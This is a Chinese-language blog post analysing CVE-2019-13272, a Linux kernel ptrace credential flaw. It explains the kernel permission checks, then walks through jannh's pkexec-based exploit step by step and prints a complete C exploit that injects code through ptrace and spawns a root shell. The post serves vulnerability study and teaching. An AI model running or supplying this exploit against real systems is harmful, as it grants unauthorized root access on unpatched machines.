前言
前面一篇文章介绍了CVE-2019-13272引发的第一个问题,通过race 可以导致系统 panic,接着上面一篇文章,这篇文章会介绍cve-2019-13272提到的第二个问题,它可以通过 suid 程序达到本地提权的目的
由于自身水平有限,有些地方可能理解不当,望指正。
漏洞原理
jannh 给出的利用逻辑如下
对于一个普通用户,考虑下面场景
- task A fork 出task B
- task B fork 出task C
- B execve 一个 suid 程序(假设root,这时 B 的 cred是 root 权限)
- C 调用 PTRACE_TRACEME 让 B trace 自己 ( C 记录 B root 权限的 cred)
- C execve 同样执行一个 suid 程序(
/usr/bin/passwd
) - B 减低自己权限 (关键 这个时候 A 可以通过 ptrace 修改 B 的内存)
C 保存的 ptracer 的 cred 是 root权限的,也就是说它会认为父进程是一个root权限的进程,而本身C已经是 root权限了,这个时候 B就可以修改 C的内存达到用以root权限任意执行代码了。
这个过程有两个问题
- ptrace的时候是怎么样做的权限检查?
- 怎么样找出 一个 task B 这样的 suid 程序?
pkexec 程序
首先回答第二个问题
polkit 是 linux桌面下的一个授权模块,大多数的linux发行版本都有这个模块。因为自己也不是十分熟悉,就不误人子弟了,可以参考这个漏洞
pkexec 可以通过 --user
参数授权特定的用户执行命令,没有指定的话默认为root权限
参考 exp 中 exec 的命令,我们用strace 看看
% strace pkexec --user rtfingc /usr/lib/gnome-settings-daemon/gsd-backlight-helper --help 2>&1 |grep setre
setreuid(0, 0) = 0
setregid(1001, 1001) = 0
setreuid(1001, 1001) = 0
/usr/lib/gnome-settings-daemon/gsd-backlight-helper
是一个 elf 程序,上面这条命令相当于用 rtfingc 这个用户执行/usr/lib/gnome-settings-daemon/gsd-backlight-helper --help
这条命令
转换到 rtfingc 用户的过程中会调用setreuid
setregid
降低权限,这也就符合了前面 task B 的降权需求
ptrace 权限检查
首先从 ptrace 的使用上看
- 普通用户只能trace自己的进程
- root 用户可以trace 其他用户的进程
- 同一个时间只能由一个ptracer
ptrace 有两种方式 - trace其他进程(PTRACE_ATTACH/PTRACE_SEIZE)(也就是 attach)
- 让父进程trace自己(PTRACE_TRACEME)(只有子进程能用)
我们假设 ptracer 是 B, ptracee 是 C
ptrace traceme
ptrace_traceme 在上一篇文章我们已经有做了简单的分析ptrace_traceme()
-> if (!current->ptrace) 是否已经被trace
-> ptrace_link
-> child->ptracer_cred = get_cred(ptracer_cred);
C 调用 PTRACE_TRACEME
, 完成之后 C 的 ptracer_cred
== B 的 cred
因为这里是进程自己授权其他进程来trace自己,所以并没有很多的检查
大部分的检查都会在做内存操作的时候体现
做内存操作时
对 ptracee 做内存读写的时候, 会通过ptrace_access_vm
函数做检查
// tsk 是ptracee 的task_struck (C)
int ptrace_access_vm(struct task_struct *tsk, unsigned long addr,
void *buf, int len, unsigned int gup_flags)
{
struct mm_struct *mm;
int ret;
mm = get_task_mm(tsk);
if (!mm)
return 0;
// 是否已经被trace
if (!tsk->ptrace ||
// ptracer 是 current
(current != tsk->parent) ||
((get_dumpable(mm) != SUID_DUMP_USER) &&
!ptracer_capable(tsk, mm->user_ns))) {
mmput(mm);
return 0;
}
ret = __access_remote_vm(tsk, mm, addr, buf, len, gup_flags);
mmput(mm);
return ret;
}
ptracer_capable 函数
// task 为 ptracee 的 task_struct
bool ptracer_capable(struct task_struct *tsk, struct user_namespace *ns)
{
int ret = 0; /* An absent tracer adds no restrictions */
const struct cred *cred;
rcu_read_lock();
// 获取 ptracer_cred
cred = rcu_dereference(tsk->ptracer_cred);
if (cred)
// 检查时否符合
ret = security_capable(cred, ns, CAP_SYS_PTRACE,
CAP_OPT_NOAUDIT);
rcu_read_unlock();
return (ret == 0);
}
这里获取了ptracee 的·ptracer_cred
,调用 PTRACE_TRACEME
的时候保存的可以是 suid 程序的 cred, 也就是 root 权限,后续会使用这个cred检查是否有trace的权限。
exp 分析
下面我们分析 jannh 提供的exp, 笔者在测试的过程中方便起见对一些代码做了精简。
jannh 提供的exp
测试环境在 ubuntu 18.04.1 下
可以下载 jannh 的 exp 来做测试,需要自己查找helper 的路径
笔者测试时编写的 exp 已经贴在了下面,接下来我们将分析里面的实现逻辑
main 函数(task A) 创建
首先看 main 函数,一开始 是 argv[0] 的两个比较,暂时不用管它,后面会使用到。
if(strcmp(argv[0],"stage2")==0){
return middle_stage2();
}
if(strcmp(argv[0],"stage3")==0){
return spawn_shell();
}
接着创建了一个管道,用 fcntl 设置了管道的 buffer 长度,并向管道写东西
这里是为了方便后面的利用,下一次写 block_pipe[1]
的时候就会阻塞住
// 下一次 写(block_pipe[1] 会 block 住
pipe2(block_pipe,O_CLOEXEC|O_DIRECT);
fcntl(block_pipe[0],F_SETPIPE_SZ,0x1000);
char dummy=0;
write(block_pipe[1], &dummy, 1);
task A fork 出 task B
可以看到这里 clone 出了一个 新的进程 ,也就是前面我们提到的 task B
fprintf(stderr,"00 task A fork task B n" );
pid_t midpid = clone(middle_main,middle_stack+sizeof(middle_stack),
CLONE_VM|CLONE_VFORK|SIGCHLD,NULL);
接着 task A 进入了一个 while 循环,它检查 task B 的 /proc/xxx/comm
文件,这里保存着 task B 运行的命令名, 也就是我们 ps
的时候看到的名称,我们叫它进程名吧,task A等待直到task B 的 进程名 变成 我们定义的 pkexec 的 helper 时才会退出循环
static const char *helper_path="/usr/lib/gnome-settings-daemon/gsd-backlight-helper";
...
while(1){
// 等待 直到 task B 运行 pkexec 的时候
int fd = open(tprintf("/proc/%d/comm", midpid), O_RDONLY);
char buf[16];
int buflen = read(fd, buf, sizeof(buf)-1);
buf[buflen] = '';
*strchrnul(buf, 'n') = '';
if (strncmp(buf, basename(helper_path), 15) == 0)
break;
usleep(100000);
}
task B fork task C
我们接下来查看 task B 的代码逻辑, task B 保存了 /proc/self/exe
的 fd, 也就是当前 poc 对应的 exe 文件,然后 fork 出了一个进程( task C)
static int middle_main(void *dummy){
// task B
pid_t middle = getpid();
// 用于后续替换内存镜像
self_fd = open("/proc/self/exe",O_RDONLY);
fprintf(stderr,"01 task B fork task Cn");
// fork 出进程 C
pid_t child = fork();
if(child==0){
task B 执行 pkexec
fprintf(stderr,"02 task B execl suid pkexecn");
// 用于后续替换内存映像
dup2(self_fd,0);
// stdout < block pipe 下一次向 stdout 写 东西的时候会 block 住
dup2(block_pipe[1],1);
/*
* setreuid(0, 0)
* setregid(1001, 1001)
* setreuid(1001, 1001)
* write something
* */
struct passwd *pw = getpwuid(getuid());
execl("/usr/bin/pkexec","pkexec","--user",pw->pw_name,helper_path,"--help",NULL);
err(1,"execl pkexecn");
task B 保存poc 的 fd,这个在后续替换内存映像的时候会用到
把 block_pipe[1]
重定向到 stdout
, 这样task B 在下次向stdout 写东西的时候会就阻塞住不动。接着运行 suid 程序 pkexec
为什么要这样做呢?
从 execl
我们可以看到,完整的命令为pkexec --user xxx helper --help
pkexec 运行的所有输出都是输出到 stderr 上的,所以运行 pkexec 不会写 stdout,等 pkexec 降权之后,会去运行 helper ,也就是以 用户xxx
运行命令helper --help
,这个命令会从 stdout
输出 usage,于是 task B 就停在了这里。
task C ptrace_traceme
接下来看 task C 的逻辑
if(child==0){
// task C
//用于后面修改内存镜像
dup2(self_fd,42);
task C 同样保存 poc 的 fd,用于后续内存镜像的替换
// 监控父进程 也就是 task B 的 Uid 情况
// 执行 pkexec 的时候task B 会变成 root 权限, Uid == 0
int proc_fd = open(tprintf("/proc/%d/status",middle),O_RDONLY);
char *needle = tprintf("nUid:t%dt0t", getuid());
while(1){
char buf[1000];
ssize_t buflen = pread(proc_fd,buf,sizeof(buf)-1,0);
buf[buflen]='';
if(strstr(buf,needle))break;
}
接着进入一个 while 循环,它通过查看 task B 的 /proc/xxx/status
文件检测 task B 是否已经执行了 suid 程序 变成root权限,task B 变成 root 权限时退出循环
fprintf(stderr,"03 task C trigger tracemen");
// 保存 task B 的 root cred
ptrace(PTRACE_TRACEME,0,NULL,NULL);
// task C 执行 suid 程序
fprintf(stderr,"04 exec suid /usr/bin/passwdn");
execl("/usr/bin/passwd","passwd",NULL);
}
接着 task C 执行ptrace(PTRACE_TRACEME,0,NULL,NULL);
保存 task B 的 suid 的 cred, 然后 execl
运行 passwd
程序,自己变成 root 权限
main 函数(task A)修改 内存
okay 这个时候 task B 已经不是 root 权限了,task A 完全可以 attach task B,然后修改 task B 的内存
fprintf(stderr,"05 task A attack task Bn");
ptrace(PTRACE_ATTACH,midpid,0,NULL);
waitpid(midpid,&dummy_status,0);
force_exec_and_wait(midpid, 0, "stage2");
exp 中 attack 上 task B 之后,使用了一个 force_exec_and_wait
函数
我们来看看它干了什么
static void force_exec_and_wait(pid_t pid, int exec_fd, char *arg0) {
struct user_regs_struct regs;
struct iovec iov = { .iov_base = ®s, .iov_len = sizeof(regs) };
// 在 syscall 调用时停下
ptrace(PTRACE_SYSCALL, pid, 0, NULL);
waitpid(pid, &dummy_status, 0);
// 获取 registers
ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &iov);
/* set up indirect arguments */
// 在栈上构造假的数据,作为后面 execve 的参数
unsigned long scratch_area = (regs.rsp - 0x1000) & ~0xfffUL;
struct injected_page {
unsigned long argv[2];
unsigned long envv[1];
char arg0[8];
char path[1];
} ipage = {
.argv = { scratch_area + offsetof(struct injected_page, arg0) }
};
strcpy(ipage.arg0, arg0);
// 写 task B 的 内存
for (int i = 0; i < sizeof(ipage)/sizeof(long); i++) {
unsigned long pdata = ((unsigned long *)&ipage)[i];
ptrace(PTRACE_POKETEXT, pid, scratch_area + i * sizeof(long), (void*)pdata);
}
/* execveat(exec_fd, path, argv, envv, flags) */
// 修改寄存器,换成 execveat 系统调用
regs.orig_rax = __NR_execveat;
regs.rdi = exec_fd;
regs.rsi = scratch_area + offsetof(struct injected_page, path);
regs.rdx = scratch_area + offsetof(struct injected_page, argv);
regs.r10 = scratch_area + offsetof(struct injected_page, envv);
regs.r8 = AT_EMPTY_PATH;
ptrace(PTRACE_SETREGSET, pid, NT_PRSTATUS, &iov);
ptrace(PTRACE_DETACH, pid, 0, NULL);
waitpid(pid, &dummy_status, 0);
}
上面代码的逻辑如下
- 获取 task B 当前的寄存器
- 在 stack 上构造假的数据,作为系统调用的参数
- 更改 寄存器的值,执行
execveat
系统调用
task B 执行 execveat
时传入的 exec_fd
是 0, 对应我们前面看到的dup2(self_fd,0);
, 也就是重新运行一遍poc了,于是逻辑又会从 main 函数开始,这个时候 task B 的 argv[0]
已经被改成 stage2
了,这个时候就会进入前面main 函数入口的 strcmp 的逻辑
if(strcmp(argv[0],"stage2")==0){
return middle_stage2();
}
if(strcmp(argv[0],"stage3")==0){
return spawn_shell();
}
task B 进入 middlle_stage2
函数
static int middle_stage2(void){
fprintf(stderr,"06 middle stage2n");
pid_t child = waitpid(-1,&dummy_status,0);
force_exec_and_wait(child, 42, "stage3");
return 0;
}
它等待 task C 的 STRTRAP 信号,然后再次调用 force_exec_and_wait
更改 task C 的内存,这个时候 task C 保存的ptracer_cred 是 root 权限的,所以可以成功更改。
于是 task C 会同样调用execveat
,进入 stage3, 也就是 spawn_shell
函数,这时候 C已经是 root 权限了,所以起个shell 就可以得到一个 root 权限的 shell.
static int spawn_shell(void){
fprintf(stderr,"07 trigger shelln");
setresgid(0, 0, 0);
setresuid(0, 0, 0);
execlp("bash", "bash", NULL);
return 0;
}
完整exp
#define _GNU_SOURCE
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <err.h>
#include <signal.h>
#include <stdio.h>
#include <fcntl.h>
#include <sched.h>
#include <stddef.h>
#include <stdarg.h>
#include <pwd.h>
#include <sys/prctl.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <sys/user.h>
#include <sys/syscall.h>
#include <sys/stat.h>
#include <linux/elf.h>
static const char *helper_path="/usr/lib/gnome-settings-daemon/gsd-backlight-helper";
static int block_pipe[2];
static int self_fd=-1;
static int dummy_status;
static char *tprintf(char *fmt, ... ){
static char buf[10000];
va_list ap;
va_start(ap,fmt);
vsprintf(buf,fmt,ap);
va_end(ap);
return buf;
}
static int middle_main(void *dummy){
/*prctl(PR_SET_PDEATHSIG, SIGKILL);*/
// task B
pid_t middle = getpid();
self_fd = open("/proc/self/exe",O_RDONLY);
fprintf(stderr,"01 task B fork task Cn");
pid_t child = fork();
if(child==0){
// task C
/*prctl(PR_SET_PDEATHSIG, SIGKILL);*/
dup2(self_fd,42);
int proc_fd = open(tprintf("/proc/%d/status",middle),O_RDONLY);
char *needle = tprintf("nUid:t%dt0t", getuid());
while(1){
char buf[1000];
ssize_t buflen = pread(proc_fd,buf,sizeof(buf)-1,0);
buf[buflen]='';
if(strstr(buf,needle))break;
}
fprintf(stderr,"03 task C trigger tracemen");
ptrace(PTRACE_TRACEME,0,NULL,NULL);
fprintf(stderr,"04 exec suid /usr/bin/passwdn");
execl("/usr/bin/passwd","passwd",NULL);
}
fprintf(stderr,"02 task B execl suid pkexecn");
dup2(self_fd,0);
// stdout < block pipe 下一次向 stdout 写 东西的时候会 block 住
dup2(block_pipe[1],1);
/*
* setreuid(0, 0)
* setregid(1000, 1000)
* setreuid(1000, 1000)
* write something
* */
struct passwd *pw = getpwuid(getuid());
execl("/usr/bin/pkexec","pkexec","--user",pw->pw_name,helper_path,"--help",NULL);
err(1,"execl pkexecn");
}
static void force_exec_and_wait(pid_t pid, int exec_fd, char *arg0) {
struct user_regs_struct regs;
struct iovec iov = { .iov_base = ®s, .iov_len = sizeof(regs) };
ptrace(PTRACE_SYSCALL, pid, 0, NULL);
waitpid(pid, &dummy_status, 0);
ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &iov);
/* set up indirect arguments */
unsigned long scratch_area = (regs.rsp - 0x1000) & ~0xfffUL;
struct injected_page {
unsigned long argv[2];
unsigned long envv[1];
char arg0[8];
char path[1];
} ipage = {
.argv = { scratch_area + offsetof(struct injected_page, arg0) }
};
strcpy(ipage.arg0, arg0);
for (int i = 0; i < sizeof(ipage)/sizeof(long); i++) {
unsigned long pdata = ((unsigned long *)&ipage)[i];
ptrace(PTRACE_POKETEXT, pid, scratch_area + i * sizeof(long), (void*)pdata);
}
/* execveat(exec_fd, path, argv, envv, flags) */
regs.orig_rax = __NR_execveat;
regs.rdi = exec_fd;
regs.rsi = scratch_area + offsetof(struct injected_page, path);
regs.rdx = scratch_area + offsetof(struct injected_page, argv);
regs.r10 = scratch_area + offsetof(struct injected_page, envv);
regs.r8 = AT_EMPTY_PATH;
ptrace(PTRACE_SETREGSET, pid, NT_PRSTATUS, &iov);
ptrace(PTRACE_DETACH, pid, 0, NULL);
waitpid(pid, &dummy_status, 0);
}
static int middle_stage2(void){
fprintf(stderr,"06 middle stage2n");
pid_t child = waitpid(-1,&dummy_status,0);
force_exec_and_wait(child, 42, "stage3");
return 0;
}
static int spawn_shell(void){
fprintf(stderr,"07 trigger shelln");
setresgid(0, 0, 0);
setresuid(0, 0, 0);
execlp("bash", "bash", NULL);
return 0;
}
int main(int argc,char **argv){
if(strcmp(argv[0],"stage2")==0){
return middle_stage2();
}
if(strcmp(argv[0],"stage3")==0){
return spawn_shell();
}
// 下一次 调用 write(block_pipe[1] 会 block 住
pipe2(block_pipe,O_CLOEXEC|O_DIRECT);
fcntl(block_pipe[0],F_SETPIPE_SZ,0x1000);
char dummy=0;
write(block_pipe[1], &dummy, 1);
static char middle_stack[1024*1024];
fprintf(stderr,"00 task A fork task B n" );
pid_t midpid = clone(middle_main,middle_stack+sizeof(middle_stack),
CLONE_VM|CLONE_VFORK|SIGCHLD,NULL);
while(1){
// 等待 直到 task B 运行 pkexec 的时候
int fd = open(tprintf("/proc/%d/comm", midpid), O_RDONLY);
char buf[16];
int buflen = read(fd, buf, sizeof(buf)-1);
buf[buflen] = '';
*strchrnul(buf, 'n') = '';
if (strncmp(buf, basename(helper_path), 15) == 0)
break;
usleep(100000);
}
fprintf(stderr,"05 task A attack task Bn");
ptrace(PTRACE_ATTACH,midpid,0,NULL);
waitpid(midpid,&dummy_status,0);
force_exec_and_wait(midpid, 0, "stage2");
return 0;
}
小结一下
主要的逻辑大概如下task A
-> pipe2 write
-> clone task B
-> wait task B pkexec
task B
-> fork task C
-> dup pipe 到 stdout
-> pkexec
-> pipe write hang
task C
-> wait task B pkexec
-> ptrace traceme
-> /usr/bin/passwd
task A
-> 更换 task B 内存
-> stage2
-> 更换 task C 内存
->stage3
-> root shell
总结
总体来看这个漏洞的限制还是比较大的
首先要找到一个内部有减权的 suid 程序就比较难了
pkexec 是linux 桌面 freedestop 上的验证程序,也就是说非桌面版本就可能没有这个东西,要用它也只能在桌面上。
像 android ,它把 suid 程序都去除了这个漏洞就几乎造不成什么影响。
这个漏洞和之前的 usb creator 漏洞差不多,实际应用上感觉都有点鸡肋。
reference
https://bugs.chromium.org/p/project-zero/issues/detail?id=1903
发表评论
您还未登录,请先登录。
登录